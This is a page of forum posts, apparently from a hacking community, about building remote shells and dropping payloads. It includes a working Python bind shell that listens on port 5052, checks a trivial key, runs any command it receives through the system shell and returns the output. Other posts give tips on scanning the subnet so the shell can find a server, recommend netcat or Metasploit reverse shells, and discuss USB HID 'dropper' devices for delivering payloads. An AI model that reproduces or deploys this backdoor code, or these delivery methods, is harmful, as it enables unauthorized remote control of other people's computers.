Show Posts
This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.
#recieve command
cmd=con.recv(1024)
#execute command
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,\
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
out,err=proc.communicate()
#send output
con.send(out+err)
On what OS was that ?
The way I know works is by using wpa_supplicant and just assigning a static IP with ifconfig, dont forget to add a route with route add.
I seen many GUI tools fucking that up.
The clean way to do it would be to see if arping responds on a certain IP address to make sure it is free so there wont be any conflicts.
Or fire up netdiscover before assigning an address, that way you will have a nice overview of the current pool connected to the AP, this will in turn give you all the MAC addresses on the network aswell it also does lookups for vendors which allow you to quickly pick out the phones etc etc.
import socket,subprocess
#create socket
s=socket.socket()
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
#open port 5052 and listen for connections
s.bind(("",5052))
s.listen(5)
while 1:
#accept connections
con,addr=s.accept()
con.settimeout(2000.0)
#recieve the key
key=con.recv(1024)
while con and key=="XXX":
try:
#recieve command
cmd=con.recv(1024)
#execute command
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,\
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
out,err=proc.communicate()
#send output
con.send(out+err)
except:
con.close()
key=""
break
Well you said that you will be using it on a WLAN mostly which is not much different from something a regular LAN.
Using a fixed IP address is by far the easiest, very often sys admins tend to specify a DHCP pool from a certain starting point to an endpoint , any addresses not in that range will never be in use or are used for specific services etc.
But I understand that this isn't fancy enough
Since you are on the same LAN and we we wont have to bothered with things like NAT and other network horrors there is also no real reason to use a reverse connection , you can in this case flip the model and use the clients as servers.
Having them open a specific port and fetch the data yourself, this way they dont depend on a server on the network thus less things to go wrong.
Another idea might be to use mere force, in the realm of computing ~250 or tenfolds are nothing.
It might be a little noisy but why not have the client attempt to connect to the entire range of addresses in the network.
Say the client is on 192.168.100.173 and the server is on .058.
Just let the client attempt a connection to say port 32112 on the entire range from 0-254.
Within milliseconds it will hit the server and a connection is established.
Perhaps using things like broadcast or reverse DNS might be interesting protocols to investigate.
Keeping it KISS is the way to go no matter what you do
) I think i'll write a different script for each method, just for the sake of learning.
Damn, I'm stuck on that Javascript room. Anyone have any tips?
There are other packet capture and packet decoding/encoding for python. Here's a couple. You might have to have specific version of Python though.
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Pcapy
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket
https://code.google.com/p/dpkt/
Problem is there's not a ton of documentation for these modules.
You could also craft the RARP request from scratch using raw sockets, but I think I found what you are looking for; this library can craft RARP packets:
https://pypi.python.org/pypi/arp/1.0
You are making this very difficult on yourself, I suggest reading up a bit on TCP/IP
Great advice. Shoulda done this before getting so specific. I am not done read this TCP/IP book i got but a quick question;
I have Teensy2.0, it's kinda cheap and cool. Don't bother with the SDcard shield tho, it's useless.
py2exe for a reverse shell sounds like an overkill bro. There are plenty of example code to do it in C/++. Much better that way, and as I said before, there's always Netcat.
so i thought I'd use Python as proof of concept. Maybe later code it in C.No problem, just trying to keep the wheels turning.. Where are you at in the world? Just curious about your reasoning on ordering things.
keep us posted. I've been reading up on HID and it seems The Teensy is perfect for this. +1
This is what he's looking for: https://evilzone.org/projects-and-discussion/teensy-dropper-project-details-and-progress/
Autorun is dead, forget about it. HID is the future.
Python reverse shell sounds ridiculous. A regular user won't have python installed and on linux it can just be blocked. I'd go for netcat or at least a MSF generated reverse shell...
I've been checking out HID but i'm not sure i can get the hardware. I'll continue reading up on it though
